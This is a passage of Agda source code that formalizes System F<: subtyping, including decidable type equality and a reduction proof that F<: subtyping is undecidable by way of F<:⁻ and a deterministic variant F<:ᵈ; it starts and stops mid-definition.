... | no x≢y = no (λ { refl → x≢y refl }) Ftyp-≡-dec (var _) (Π<: _ ∙ _) = no (λ ()) Ftyp-≡-dec (Π<: _ ∙ _) ⊤ = no (λ ()) Ftyp-≡-dec (Π<: _ ∙ _) (var _) = no (λ ()) Ftyp-≡-dec (Π<: S ∙ U) (Π<: S′ ∙ U′) with Ftyp-≡-dec S S′ | Ftyp-≡-dec U U′ ... | yes S≡S′ | yes U≡U′ = yes (cong₂ Π<:_∙_ S≡S′ U≡U′) ... | yes S≡S′ | no U≢U′ = no λ Π<:≡ → U≢U′ (proj₂ (Π<:-injective Π<:≡)) ... | no S≢S′ | yes U≡U′ = no (λ Π<:≡ → S≢S′ (proj₁ (Π<:-injective Π<:≡))) ... | no S≢S′ | no U≢U′ = no (λ Π<:≡ → S≢S′ (proj₁ (Π<:-injective Π<:≡))) -- Definition of F<: -- -- Here we also define full F<:. We do not use it anywhere. module Full where infix 6 var_ infixr 6 _⇒_ Π<:_∙_ -- Types -- -- * ⊤ is a supertype of all types. -- * (var n) represent a type variable. -- * (S ⇒ U) represents a function type (S ⟶ U). -- * (Π<: S ∙ U) represents a universal type (∀ X <: S . U). data Ftyp : Set where ⊤ : Ftyp var_ : ℕ → Ftyp _⇒_ : Ftyp → Ftyp → Ftyp Π<:_∙_ : Ftyp → Ftyp → Ftyp Env : Set Env = List Ftyp infixl 7 _↑_ _↑_ : Ftyp → ℕ → Ftyp ⊤ ↑ n = ⊤ (var x) ↑ n with n ≤? x ... | yes p = var (suc x) ... | no ¬p = var x (S ⇒ U) ↑ n = S ↑ n ⇒ U ↑ n (Π<: S ∙ U) ↑ n = Π<: S ↑ n ∙ U ↑ suc n infix 4 _<:_∈_ data _<:_∈_ : ℕ → Ftyp → Env → Set where hd : ∀ {T Γ} → 0 <: T ↑ 0 ∈ T ∷ Γ tl : ∀ {n T T′ Γ} → n <: T ∈ Γ → suc n <: T ↑ 0 ∈ T′ ∷ Γ infix 4 _⊢F_<:_ data _⊢F_<:_ : Env → Ftyp → Ftyp → Set where ftop : ∀ {Γ T} → Γ ⊢F T <: ⊤ fvrefl : ∀ {Γ n} → Γ ⊢F var n <: var n fbinds : ∀ {Γ n T U} → n <: T ∈ Γ → Γ ⊢F T <: U → Γ ⊢F var n <: U ffun : ∀ {Γ S₁ S₂ U₁ U₂} → Γ ⊢F S₂ <: S₁ → Γ ⊢F U₁ <: U₂ → Γ ⊢F S₁ ⇒ U₁ <: S₂ ⇒ U₂ fall : ∀ {Γ S₁ S₂ U₁ U₂} → Γ ⊢F S₂ <: S₁ → S₂ ∷ Γ ⊢F U₁ <: U₂ → Γ ⊢F Π<: S₁ ∙ U₁ <: Π<: S₂ ∙ U₂ env-lookup : Env → ℕ → Maybe Ftyp env-lookup [] n = nothing env-lookup (T ∷ Γ) zero = just $ T ↑ 0 env-lookup (T ∷ Γ) (suc n) = Maybe.map (_↑ 0) $ env-lookup Γ n lookup⇒<:∈ : ∀ {Γ n T} → env-lookup Γ n ≡ just T → n <: T ∈ Γ lookup⇒<:∈ {[]} {n} () lookup⇒<:∈ {T ∷ Γ} {zero} refl = hd lookup⇒<:∈ {T ∷ Γ} {suc n} eq with env-lookup Γ n | lookup⇒<:∈ {Γ} {n} ... | nothing | rec with eq ... | () lookup⇒<:∈ {T ∷ Γ} {suc n} refl | just T′ | rec = tl (rec refl) <:∈⇒lookup : ∀ {Γ n T} → n <: T ∈ Γ → env-lookup Γ n ≡ just T <:∈⇒lookup hd = refl <:∈⇒lookup (tl <:∈) rewrite <:∈⇒lookup <:∈ = refl env-lookup′ : Env → ℕ → Maybe Ftyp env-lookup′ Γ n = Maybe.map (repeat (suc n) (_↑ 0)) (lookupOpt Γ n) env-lookup-same : ∀ Γ n → env-lookup Γ n ≡ env-lookup′ Γ n env-lookup-same [] n = refl env-lookup-same (T ∷ Γ) zero = refl env-lookup-same (T ∷ Γ) (suc n) rewrite env-lookup-same Γ n = sym $ Maybeₚ.map-compose (lookupOpt Γ n) open FsubMinus -- Undecidability of F<: -- -- Here we show a reduction proof from F<:⁻ to F<:. Assuming F<:⁻ subtyping being -- undecidable (which is about to be shown below), we formalize that F<: subtyping is -- undecidable. module FsubUndec where -- the interpretation function of types from F<:⁻ to F<: infixl 5 _* _* : Ftyp → Full.Ftyp ⊤ * = Full.⊤ var x * = Full.var x Π<: T₁ ∙ T₂ * = Full.Π<: T₁ * ∙ (T₂ *) *-↑-comm : ∀ (T : Ftyp) n → (T *) Full.↑ n ≡ (T ↑ n) * *-↑-comm ⊤ n = refl *-↑-comm (var x) n with n ≤? x ... | yes p = refl ... | no ¬p = refl *-↑-comm (Π<: S ∙ U) n rewrite *-↑-comm S n | *-↑-comm U (suc n) = refl repeat*-↑-comm : ∀ T n m → repeat n (Full._↑ m) (T *) ≡ (repeat n (_↑ m) T) * repeat*-↑-comm T zero m = refl repeat*-↑-comm T (suc n) m rewrite repeat*-↑-comm T n m = *-↑-comm (repeat n (_↑ m) T) m *-injective : ∀ {S U} → S * ≡ U * → S ≡ U *-injective {⊤} {⊤} refl = refl *-injective {⊤} {var x} () *-injective {⊤} {Π<: _ ∙ _} () *-injective {var x} {⊤} () *-injective {var x} {var .x} refl = refl *-injective {var _} {Π<: _ ∙ _} () *-injective {Π<: S ∙ S₁} {⊤} () *-injective {Π<: _ ∙ _} {var x} () *-injective {Π<: S ∙ S₁} {Π<: U ∙ U₁} eq with S * | U * | *-injective {S} {U} | S₁ * | U₁ * | *-injective {S₁} {U₁} ... | S* | U* | r | S₁* | U₁* | r₁ with eq ... | refl rewrite r refl | r₁ refl = refl Full<:∈⇒<:∈ : ∀ {Γ n T} → n Full.<: T * ∈ List.map _* Γ → n <: T ∈ Γ Full<:∈⇒<:∈ {Γ} {n} <:∈ with Full.<:∈⇒lookup <:∈ ... | eq rewrite Full.env-lookup-same (List.map _* Γ) n with lookupOpt (List.map _* Γ) n | lookupOpt-map-inv {f = _*} Γ {n} ... | just T | inv with inv refl ... | T′ , refl , lk with just-injective eq ... | eq′ rewrite repeat*-↑-comm T′ n 0 | *-↑-comm (repeat n (_↑ 0) T′) 0 with *-injective eq′ ... | refl = lookup⇒<:∈ (trans (env-lookup-same Γ n) aux) where aux : env-lookup′ Γ n ≡ just (repeat n (_↑ 0) T′ ↑ 0) aux rewrite lk = refl Full<:∈⇒<:∈ {Γ} {n} <:∈ | () | nothing | _ <:∈⇒Full<:∈ : ∀ {Γ n T} → n <: T ∈ Γ → n Full.<: T * ∈ List.map _* Γ <:∈⇒Full<:∈ (hd {T}) rewrite sym $ *-↑-comm T 0 = Full.hd <:∈⇒Full<:∈ (tl {T = T} <:∈) rewrite sym $ *-↑-comm T 0 = Full.tl (<:∈⇒Full<:∈ <:∈) full⇒minus-gen : ∀ {Γ* S* U*} → Γ* Full.⊢F S* <: U* → ∀ {Γ S U} → Γ* ≡ List.map _* Γ → S* ≡ (S *) → U* ≡ (U *) → Γ ⊢F S <: U full⇒minus-gen Full.ftop {Γ} {S} {⊤} eqΓ eqS refl = ftop full⇒minus-gen Full.ftop {Γ} {S} {var x} eqΓ eqS () full⇒minus-gen Full.ftop {Γ} {S} {Π<: U ∙ U₁} eqΓ eqS () full⇒minus-gen Full.fvrefl {Γ} {⊤} {⊤} eqΓ () eqU full⇒minus-gen Full.fvrefl {Γ} {var x} {⊤} eqΓ refl () full⇒minus-gen Full.fvrefl {Γ} {Π<: S ∙ S₁} {⊤} eqΓ () eqU full⇒minus-gen Full.fvrefl {Γ} {⊤} {var x} eqΓ () eqU full⇒minus-gen Full.fvrefl {Γ} {var x} {var .x} eqΓ refl refl = fvrefl full⇒minus-gen Full.fvrefl {Γ} {Π<: S ∙ S₁} {var x} eqΓ () eqU full⇒minus-gen Full.fvrefl {Γ} {⊤} {Π<: U ∙ U₁} eqΓ () eqU full⇒minus-gen Full.fvrefl {Γ} {var x} {Π<: U ∙ U₁} eqΓ refl () full⇒minus-gen Full.fvrefl {Γ} {Π<: S ∙ S₁} {Π<: U ∙ U₁} eqΓ () eqU full⇒minus-gen (Full.fbinds T∈Γ* Dfull) {Γ} {⊤} {U} eqΓ () eqU full⇒minus-gen (Full.fbinds {n = n} T∈Γ* Dfull) {Γ} {var x} {U} eqΓ refl eqU = aux where T′∈Γ : ∀ {Γ* T} → n Full.<: T ∈ Γ* → Γ* ≡ List.map _* Γ → ∃[ T′ ] (T ≡ T′ *) T′∈Γ <:∈ refl with Full.<:∈⇒lookup <:∈ ... | eq rewrite Full.env-lookup-same (List.map _* Γ) n with lookupOpt (List.map _* Γ) n | inspect (lookupOpt (List.map _* Γ)) n ... | just T | [ lk ] with lookupOpt-map-inv Γ lk | just-injective eq ... | T′ , refl , lkeq | eq′ rewrite repeat*-↑-comm T′ n 0 | *-↑-comm (repeat n (_↑ 0) T′) 0 = -, sym eq′ T′∈Γ <:∈ refl | () | nothing | _ aux : Γ ⊢F var n <: U aux with T′∈Γ T∈Γ* eqΓ ... | T′ , refl rewrite eqΓ = fbinds (Full<:∈⇒<:∈ T∈Γ*) (full⇒minus-gen Dfull refl refl eqU) full⇒minus-gen (Full.fbinds T∈Γ* Dfull) {Γ} {Π<: S ∙ S₁} {U} eqΓ () eqU full⇒minus-gen (Full.ffun _ _) {Γ} {⊤} {U} eqΓ () eqU full⇒minus-gen (Full.ffun _ _) {Γ} {var x₂} {U} eqΓ () eqU full⇒minus-gen (Full.ffun _ _) {Γ} {Π<: S ∙ S₁} {U} eqΓ () eqU full⇒minus-gen (Full.fall Dp Dbody) {Γ} {⊤} {⊤} eqΓ () eqU full⇒minus-gen (Full.fall Dp Dbody) {Γ} {⊤} {var x} eqΓ () eqU full⇒minus-gen (Full.fall Dp Dbody) {Γ} {⊤} {Π<: U ∙ U₁} eqΓ () eqU full⇒minus-gen (Full.fall Dp Dbody) {Γ} {var x} {⊤} eqΓ () eqU full⇒minus-gen (Full.fall Dp Dbody) {Γ} {var x} {var x₁} eqΓ () eqU full⇒minus-gen (Full.fall Dp Dbody) {Γ} {var x} {Π<: U ∙ U₁} eqΓ () eqU full⇒minus-gen (Full.fall Dp Dbody) {Γ} {Π<: S ∙ S₁} {⊤} eqΓ refl () full⇒minus-gen (Full.fall Dp Dbody) {Γ} {Π<: S ∙ S₁} {var x} eqΓ refl () full⇒minus-gen (Full.fall Dp Dbody) {Γ} {Π<: S₁ ∙ U₁} {Π<: S₂ ∙ U₂} eqΓ refl refl = fall (full⇒minus-gen Dp eqΓ refl refl) (full⇒minus-gen Dbody (aux eqΓ) refl refl) where aux : ∀ {Γ*} → Γ* ≡ List.map _* Γ → (S₂ *) ∷ Γ* ≡ (S₂ *) ∷ List.map _* Γ aux refl = refl -- The following two functions accomplish the reduction proof. full⇒minus : ∀ {Γ S U} → List.map _* Γ Full.⊢F S * <: U * → Γ ⊢F S <: U full⇒minus Dfull = full⇒minus-gen Dfull refl refl refl minus⇒full : ∀ {Γ S U} → Γ ⊢F S <: U → List.map _* Γ Full.⊢F S * <: U * minus⇒full ftop = Full.ftop minus⇒full fvrefl = Full.fvrefl minus⇒full {Γ} (fbinds T∈Γ Dminus) = Full.fbinds (<:∈⇒Full<:∈ T∈Γ) (minus⇒full Dminus) minus⇒full (fall Dp Db) = Full.fall (minus⇒full Dp) (minus⇒full Db) -- Definition of F<:ᵈ -- -- Definition of F<:ᵈ F<:ᵈ (F<: deterministic) is an intermediate construction in -- Pierce92 towards the undecidability proof of F<: subtyping. This intermediate -- construction is also shown undecidable and we directly use that result here. module DeterministicFsubSized where open import Induction.Nat import Relation.Binary.EqReasoning as Eq infix 6 var⁻_ infixr 6 Π⁺<:_∙¬_ Π⁻<:⊤∙¬_ -- Types -- -- Types in F<:ᵈ are divided into two parts and the two parts are mutually defined. -- The two parts are positive types [Ftyp⁺] and negative types [Ftyp⁻] and defined -- as follows. mutual -- Positive types -- * ⊤⁺ corresponds to ⊤ in F<:⁻. -- * (Π⁺<: Ts ∙¬ U) represents a universal type where all types involved are negative types (∀ X₁ <: T₁ ... ∀ Xₙ <: Tₙ . ∀ X <: U . X). data Ftyp⁺ (n : ℕ) : Set where ⊤⁺ : Ftyp⁺ n Π⁺<:_∙¬_ : Vec (Ftyp⁻ n) n → Ftyp⁻ n → Ftyp⁺ n -- Negative types -- * (var⁻ n) corresponds to a type variable in F<:⁻. -- * (Π⁻<:⊤∙¬_ T) represents a universal type where all parameter types are ⊤ and T is positive (∀ X₁ <: ⊤ ... ∀ Xₙ <: ⊤ . ∀ X <: T . X). data Ftyp⁻ (n : ℕ) : Set where var⁻_ : ℕ → Ftyp⁻ n Π⁻<:⊤∙¬_ : Ftyp⁺ n → Ftyp⁻ n -- shifting operation for both positive and negative types infixl 7 _↑⁺_ _↑⁺_ ⟦_↑⁻_⟧ mutual _↑⁺_ : ∀ {n} → Ftyp⁺ n → ℕ → Ftyp⁺ n ⊤⁺ ↑⁺ n = ⊤⁺ _↑⁺_ {m} (Π⁺<: S ∙¬ U) n = Π⁺<: ⟦ S ↑⁻ n ⟧ ∙¬ (U ↑⁻ (m + n)) _↑⁻_ : ∀ {n} → Ftyp⁻ n → ℕ → Ftyp⁻ n (var⁻ x) ↑⁻ n with n ≤? x ... | yes p = var⁻ (suc x) ... | no ¬p = var⁻ x _↑⁻_ {m} (Π⁻<:⊤∙¬ T) n = Π⁻<:⊤∙¬ (T ↑⁺ (m + n)) ⟦_↑⁻_⟧ : ∀ {n m} → Vec (Ftyp⁻ n) m → ℕ → Vec (Ftyp⁻ n) m ⟦ nil ↑⁻ n ⟧ = nil ⟦ T ‼ S ↑⁻ n ⟧ = T ↑⁻ n ‼ ⟦ S ↑⁻ suc n ⟧ -- In F<:ᵈ, typing contexts consist only of negative types. NEnv : ℕ → Set NEnv n = List (Ftyp⁻ n) nenv-lookup : ∀ {n} → NEnv n → ℕ → Maybe (Ftyp⁻ n) nenv-lookup Γ n = Maybe.map (repeat (suc n) (_↑⁻ 0)) (lookupOpt Γ n) -- subtyping judgment of F<:ᵈ -- -- For a fixed n, a subtyping judgment of F<:ᵈ is a ternary predicate, among a -- typing context (consisting of negative types), a negative type and a positive -- type. A subtyping judgment in F<:ᵈ asserts that a negative type is a subtype of -- a positive type in the given context. Notice that there is no subtyping relation -- between two negative types or two positive types. infix 4 [_]_⊢FD_<:_ data [_]_⊢FD_<:_ (n : ℕ) : NEnv n → Ftyp⁻ n → Ftyp⁺ n → Set where fdtop : ∀ {Γ T} → [ n ] Γ ⊢FD T <: ⊤⁺ fdvar : ∀ {Γ m T S U} → nenv-lookup Γ m ≡ just T → [ n ] Γ ⊢FD T <: Π⁺<: S ∙¬ U → [ n ] Γ ⊢FD var⁻ m <: Π⁺<: S ∙¬ U fdall : ∀ {Γ T S U} → [ n ] Vec.foldl (λ _ → _) (flip _∷_) Γ S ⊢FD U <: T → [ n ] Γ ⊢FD Π⁻<:⊤∙¬ T <: Π⁺<: S ∙¬ U infix 5 _*⁺ _*⁻ infix 6 Π⁻[_]∙_ Π⁺_∙_ -- the interpretation function of types from F<:ᵈ to F<:⁻ mutual _*⁺ : ∀ {n} → Ftyp⁺ n → Ftyp ⊤⁺ *⁺ = ⊤ Π⁺<: S ∙¬ U *⁺ = Π⁻[ S ]∙ U Π⁻[_]∙_ : ∀ {n m} → Vec (Ftyp⁻ n) m → Ftyp⁻ n → Ftyp Π⁻[ nil ]∙ U = Π<: U *⁻ ∙ var zero Π⁻[ S ‼ Ss ]∙ U = Π<: S *⁻ ∙ Π⁻[ Ss ]∙ U _*⁻ : ∀ {n} → Ftyp⁻ n → Ftyp var⁻ n *⁻ = var n _*⁻ {n} (Π⁻<:⊤∙¬ T) = Π⁺ n ∙ T Π⁺_∙_ : ∀ {n} → ℕ → Ftyp⁺ n → Ftyp Π⁺ zero ∙ T = Π<: T *⁺ ∙ var zero Π⁺ suc n ∙ T = Π<: ⊤ ∙ Π⁺ n ∙ T module _ where open Eq (setoid ℕ) mutual *-↑-comm⁺ : ∀ {m} (T : Ftyp⁺ m) n → (T *⁺) ↑ n ≡ (T ↑⁺ n) *⁺ *-↑-comm⁺ ⊤⁺ n = refl *-↑-comm⁺ (Π⁺<: S ∙¬ U) n = Π-↑-comm⁻ S U n Π-↑-comm⁻ : ∀ {i j} (S : Vec (Ftyp⁻ i) j) (U : Ftyp⁻ i) n → (Π⁻[ S ]∙ U) ↑ n ≡ Π⁻[ ⟦ S ↑⁻ n ⟧ ]∙ (U ↑⁻ (j + n)) Π-↑-comm⁻ nil U n rewrite *-↑-comm⁻ U n = refl Π-↑-comm⁻ {j = suc j} (T ‼ S) U n rewrite *-↑-comm⁻ T n | Π-↑-comm⁻ S U (suc n) | +-suc j n = refl *-↑-comm⁻ : ∀ {m} (T : Ftyp⁻ m) n → (T *⁻) ↑ n ≡ (T ↑⁻ n) *⁻ *-↑-comm⁻ (var⁻ x) n with n ≤? x ... | yes p = refl ... | no ¬p = refl *-↑-comm⁻ (Π⁻<:⊤∙¬ T) n = Π-↑-comm⁺ _ T n Π-↑-comm⁺ : ∀ {i} j (T : Ftyp⁺ i) n → (Π⁺ j ∙ T) ↑ n ≡ Π⁺ j ∙ (T ↑⁺ (j + n)) Π-↑-comm⁺ zero T n rewrite *-↑-comm⁺ T n = refl Π-↑-comm⁺ (suc j) T n rewrite Π-↑-comm⁺ j T (suc n) | +-suc j n = refl repeat*-↑-comm⁻ : ∀ {i} (T : Ftyp⁻ i) n m → repeat n (_↑ m) (T *⁻) ≡ (repeat n (_↑⁻ m) T) *⁻ repeat*-↑-comm⁻ T zero m = refl repeat*-↑-comm⁻ T (suc n) m rewrite repeat*-↑-comm⁻ T n m = *-↑-comm⁻ (repeat n (_↑⁻ m) T) m mutual *-injective⁺ : ∀ {n} {S U : Ftyp⁺ n} → S *⁺ ≡ U *⁺ → S ≡ U *-injective⁺ {n} {⊤⁺} {⊤⁺} eq = refl *-injective⁺ {.0} {⊤⁺} {Π⁺<: nil ∙¬ _} () *-injective⁺ {.(suc _)} {⊤⁺} {Π⁺<: _ ‼ _ ∙¬ _} () *-injective⁺ {n} {Π⁺<: S ∙¬ U} {⊤⁺} eq = ⊥-elim $ aux eq where aux : ∀ {n m} {S : Vec (Ftyp⁻ n) m} {U} → ¬ Π⁻[ S ]∙ U ≡ ⊤ aux {S = nil} () aux {S = _ ‼ S} () *-injective⁺ {n} {Π⁺<: S₁ ∙¬ U₁} {Π⁺<: S₂ ∙¬ U₂} eq with Π-injective⁻ eq ... | refl , refl = refl Π-injective⁻ : ∀ {n m} {S₁ S₂ : Vec (Ftyp⁻ n) m} {U₁ U₂ : Ftyp⁻ n} → Π⁻[ S₁ ]∙ U₁ ≡ Π⁻[ S₂ ]∙ U₂ → S₁ ≡ S₂ × U₁ ≡ U₂ Π-injective⁻ {S₁ = nil} {nil} {U₁} {U₂} eq with U₁ *⁻ | U₂ *⁻ | *-injective⁻ {S = U₁} {U₂} ... | U₁* | U₂* | rec with eq ... | refl = refl , rec refl Π-injective⁻ {S₁ = S ‼ S₁} {S′ ‼ S₂} {U₁} {U₂} eq with S *⁻ | S′ *⁻ | Π⁻[ S₁ ]∙ U₁ | Π⁻[ S₂ ]∙ U₂ | *-injective⁻ {S = S} {S′} | Π-injective⁻ {S₁ = S₁} {S₂} {U₁} {U₂} ... | S* | S′* | Π₁ | Π₂ | recS | rec with eq ... | refl with recS refl | rec refl ... | refl | refl , eqU = refl , eqU *-injective⁻ : ∀ {n} {S U : Ftyp⁻ n} → S *⁻ ≡ U *⁻ → S ≡ U *-injective⁻ {n} {var⁻ x} {var⁻ .x} refl = refl *-injective⁻ {zero} {var⁻ _} {Π⁻<:⊤∙¬ _} () *-injective⁻ {suc n} {var⁻ _} {Π⁻<:⊤∙¬ _} () *-injective⁻ {n} {Π⁻<:⊤∙¬ T} {var⁻ x} eq = ⊥-elim $ aux _ eq where aux : ∀ {n x} {T : Ftyp⁺ n} m → ¬ Π⁺ m ∙ T ≡ var x aux zero () aux (suc m) () *-injective⁻ {n} {Π⁻<:⊤∙¬ T₁} {Π⁻<:⊤∙¬ T₂} eq with Π-injective⁺ n eq ... | refl = refl Π-injective⁺ : ∀ {n} {T₁ T₂ : Ftyp⁺ n} m → Π⁺ m ∙ T₁ ≡ Π⁺ m ∙ T₂ → T₁ ≡ T₂ Π-injective⁺ {T₁ = T₁} {T₂} zero eq with T₁ *⁺ | T₂ *⁺ | *-injective⁺ {S = T₁} {T₂} ... | T₁* | T₂* | rec with eq ... | refl = rec refl Π-injective⁺ {T₁ = T₁} {T₂} (suc m) eq with Π⁺ m ∙ T₁ | Π⁺ m ∙ T₂ | Π-injective⁺ {T₁ = T₁} {T₂} m ... | Π₁ | Π₂ | rec with eq ... | refl = rec refl data Pi (P Q : Ftyp → Set) : ℕ → Ftyp → Set where pzero : ∀ {U} → Q U → Pi P Q zero (Π<: U ∙ var zero) psuc : ∀ {n S T} → P S → Pi P Q n T -> Pi P Q (suc n) (Π<: S ∙ T) -- two predicates that capture the images of the interpretation functions mutual -- Covar captures the image of the interpretation function from positive types to F<:. data Covar (n : ℕ) : Ftyp → Set where cvtop : Covar n ⊤ cvΠ : ∀ {T} → Pi (Contra n) (Contra n) n T → Covar n T -- Contra captures the image of the interpretation function from negative types to F<:. data Contra (n : ℕ) : Ftyp → Set where cnvar : ∀ m → Contra n (var m) cnΠ : ∀ {T} → Pi (⊤ ≡_) (Covar n) n T → Contra n T infix 5 ⟦_⟧⁺ ⟦_⟧⁻ -- the inverse functions of the interpretation functions mutual ⟦_⟧⁺ : ∀ {n T} → Covar n T → Ftyp⁺ n ⟦ cvtop ⟧⁺ = ⊤⁺ ⟦ cvΠ P ⟧⁺ = Π⁺<: ∥ P ∥⁺₁ ∙¬ ∥ P ∥⁺₂ ∥_∥⁺₁ : ∀ {n m T} → Pi (Contra n) (Contra n) m T → Vec (Ftyp⁻ n) m ∥ pzero U ∥⁺₁ = nil ∥ psuc S P ∥⁺₁ = ⟦ S ⟧⁻ ‼ ∥ P ∥⁺₁ ∥_∥⁺₂ : ∀ {n m T} → Pi (Contra n) (Contra n) m T → Ftyp⁻ n ∥ pzero U ∥⁺₂ = ⟦ U ⟧⁻ ∥ psuc S P ∥⁺₂ = ∥ P ∥⁺₂ ⟦_⟧⁻ : ∀ {n T} → Contra n T → Ftyp⁻ n ⟦ cnvar m ⟧⁻ = var⁻ m ⟦ cnΠ P ⟧⁻ = Π⁻<:⊤∙¬ ∥ P ∥⁻ ∥_∥⁻ : ∀ {n m T} → Pi (⊤ ≡_) (Covar n) m T → Ftyp⁺ n ∥ pzero T ∥⁻ = ⟦ T ⟧⁺ ∥ psuc S P ∥⁻ = ∥ P ∥⁻ mutual ⟦⟧⁺*⁺⇒id : ∀ {n T} (cT : Covar n T) → (⟦ cT ⟧⁺ *⁺) ≡ T ⟦⟧⁺*⁺⇒id cvtop = refl ⟦⟧⁺*⁺⇒id (cvΠ P) = ∥∥⁻Π⇒id P ∥∥⁻Π⇒id : ∀ {n m T} (P : Pi (Contra n) (Contra n) m T) → Π⁻[ ∥ P ∥⁺₁ ]∙ ∥ P ∥⁺₂ ≡ T ∥∥⁻Π⇒id (pzero U) rewrite ⟦⟧⁻*⁻⇒id U = refl ∥∥⁻Π⇒id (psuc S P) rewrite ⟦⟧⁻*⁻⇒id S | ∥∥⁻Π⇒id P = refl ⟦⟧⁻*⁻⇒id : ∀ {n T} (cT : Contra n T) → (⟦ cT ⟧⁻ *⁻) ≡ T ⟦⟧⁻*⁻⇒id (cnvar m) = refl ⟦⟧⁻*⁻⇒id (cnΠ P) = ∥∥⁺Π⇒id P ∥∥⁺Π⇒id : ∀ {n m T} (P : Pi (⊤ ≡_) (Covar n) m T) → Π⁺ m ∙ ∥ P ∥⁻ ≡ T ∥∥⁺Π⇒id (pzero U) rewrite ⟦⟧⁺*⁺⇒id U = refl ∥∥⁺Π⇒id (psuc refl P) rewrite ∥∥⁺Π⇒id P = refl infix 5 *⟦_⟧⁺ *⟦_⟧⁻ *∥_,_∥⁺ mutual *⟦_⟧⁺ : ∀ {n} (T : Ftyp⁺ n) → Covar n (T *⁺) *⟦ ⊤⁺ ⟧⁺ = cvtop *⟦ Π⁺<: S ∙¬ U ⟧⁺ = cvΠ *∥ S , U ∥⁺ *∥_,_∥⁺ : ∀ {n m} (S : Vec (Ftyp⁻ n) m) (U : Ftyp⁻ n) → Pi (Contra n) (Contra n) m (Π⁻[ S ]∙ U) *∥ nil , U ∥⁺ = pzero *⟦ U ⟧⁻ *∥ S ‼ Ss , U ∥⁺ = psuc *⟦ S ⟧⁻ *∥ Ss , U ∥⁺ *⟦_⟧⁻ : ∀ {n} (T : Ftyp⁻ n) → Contra n (T *⁻) *⟦ var⁻ x ⟧⁻ = cnvar x *⟦ Π⁻<:⊤∙¬ T ⟧⁻ = cnΠ *∥ _ , T ∥⁻ *∥_,_∥⁻ : ∀ {n} m (T : Ftyp⁺ n) → Pi (⊤ ≡_) (Covar n) m (Π⁺ m ∙ T) *∥ zero , T ∥⁻ = pzero *⟦ T ⟧⁺ *∥ suc m , T ∥⁻ = psuc refl *∥ m , T ∥⁻ mutual *⁺⟦⟧⁺⇒id : ∀ {n} (T : Ftyp⁺ n) → ⟦ *⟦ T ⟧⁺ ⟧⁺ ≡ T *⁺⟦⟧⁺⇒id ⊤⁺ = refl *⁺⟦⟧⁺⇒id (Π⁺<: S ∙¬ U) rewrite *∥∥⁺₁⇒id S U | *∥∥⁺₂⇒id S U = refl *∥∥⁺₁⇒id : ∀ {n m} (S : Vec (Ftyp⁻ n) m) (U : Ftyp⁻ n) → ∥ *∥ S , U ∥⁺ ∥⁺₁ ≡ S *∥∥⁺₁⇒id nil U = refl *∥∥⁺₁⇒id (S ‼ Ss) U rewrite *⁻⟦⟧⁻⇒id S | *∥∥⁺₁⇒id Ss U = refl *∥∥⁺₂⇒id : ∀ {n m} (S : Vec (Ftyp⁻ n) m) (U : Ftyp⁻ n) → ∥ *∥ S , U ∥⁺ ∥⁺₂ ≡ U *∥∥⁺₂⇒id nil U = *⁻⟦⟧⁻⇒id U *∥∥⁺₂⇒id (S ‼ Ss) U = *∥∥⁺₂⇒id Ss U *⁻⟦⟧⁻⇒id : ∀ {n} (T : Ftyp⁻ n) → ⟦ *⟦ T ⟧⁻ ⟧⁻ ≡ T *⁻⟦⟧⁻⇒id (var⁻ x) = refl *⁻⟦⟧⁻⇒id {n} (Π⁻<:⊤∙¬ T) rewrite *∥∥⁻⇒id n T = refl *∥∥⁻⇒id : ∀ {n} m (T : Ftyp⁺ n) → ∥ *∥ m , T ∥⁻ ∥⁻ ≡ T *∥∥⁻⇒id zero T = *⁺⟦⟧⁺⇒id T *∥∥⁻⇒id (suc m) T = *∥∥⁻⇒id m T open Measure <-wellFounded F-measure-packed renaming (wfRec to F-rec) minus⇒deterministic-gen : ∀ (D : F-deriv) → ∀ n {Γ} (S : Contra n (typ₁ D)) (U : Covar n (typ₂ D)) → env D ≡ List.map _*⁻ Γ → [ n ] Γ ⊢FD ⟦ S ⟧⁻ <: ⟦ U ⟧⁺ minus⇒deterministic-gen D = F-rec (λ D → prop D) pf D where prop : F-deriv → Set prop D = ∀ n {Γ} (S : Contra n (typ₁ D)) (U : Covar n (typ₂ D)) → env D ≡ List.map _*⁻ Γ → [ n ] Γ ⊢FD ⟦ S ⟧⁻ <: ⟦ U ⟧⁺ open ≤-Reasoning pf : ∀ (D : F-deriv) → (∀ D′ → F-measure-packed D′ < F-measure-packed D → prop D′) → prop D pf ((Γ , S* , .⊤) , ftop) rec n S cvtop eq = fdtop pf ((Γ , S* , .⊤) , ftop) rec n S (cvΠ ()) eq pf ((Γ , .(var _) , .(var _)) , fvrefl) rec n S (cvΠ ()) eq pf ((Γ , .(var m) , .⊤) , fbinds T∈Γ D) rec n (cnvar m) cvtop eq = fdtop pf ((Γ , .(var m) , U*) , fbinds T∈Γ D) rec n {Γ′} (cnvar m) (cvΠ P) refl with trans (sym $ env-lookup-same (List.map _*⁻ Γ′) m) $ <:∈⇒lookup T∈Γ ... | eq with lookupOpt (List.map _*⁻ Γ′) m | inspect (lookupOpt (List.map _*⁻ Γ′)) m pf ((Γ , .(var m) , U*) , fbinds T∈Γ D) rec n {Γ′} (cnvar m) (cvΠ P) refl | refl | just T | [ lk ] with lookupOpt-map-inv Γ′ lk ... | T′ , refl , lk′ rewrite repeat*-↑-comm⁻ T′ m 0 | *-↑-comm⁻ (repeat m (_↑⁻ 0) T′) 0 with rec (-, D) ≤-refl n *⟦ repeat m (_↑⁻ 0) T′ ↑⁻ 0 ⟧⁻ (cvΠ P) refl ... | Drec rewrite *⁻⟦⟧⁻⇒id (repeat m (_↑⁻ 0) T′ ↑⁻ 0) = fdvar (cong (Maybe.map (repeat (suc m) (_↑⁻ 0))) lk′) Drec pf ((Γ , .(var m) , U*) , fbinds T∈Γ D) rec n {Γ′} (cnvar m) (cvΠ P) refl | () | nothing | [ lk ] pf ((Γ , .(var _) , U*) , fbinds T∈Γ D) rec n (cnΠ ()) U eq pf ((Γ , .(Π<: _ ∙ _) , .(Π<: _ ∙ _)) , Dtop@(fall S₂<:S₁ U₁<:U₂)) rec n (cnΠ Ps) (cvΠ Pu) refl = fdall (aux _ n (fall S₂<:S₁ U₁<:U₂) Ps Pu ≤-refl) where transport : ∀ {Γ T₁ T₂ S*} (S : Contra n S*) (D : S* ∷ Γ ⊢F T₁ <: T₂) → Σ ((⟦ S ⟧⁻ *⁻) ∷ Γ ⊢F T₁ <: T₂) (λ D′ → F-measure D′ ≡ F-measure D) transport {Γ} {T₁} {T₂} S D = subst (λ S → Σ (S ∷ Γ ⊢F T₁ <: T₂) (λ D′ → F-measure D′ ≡ F-measure D)) (sym $ 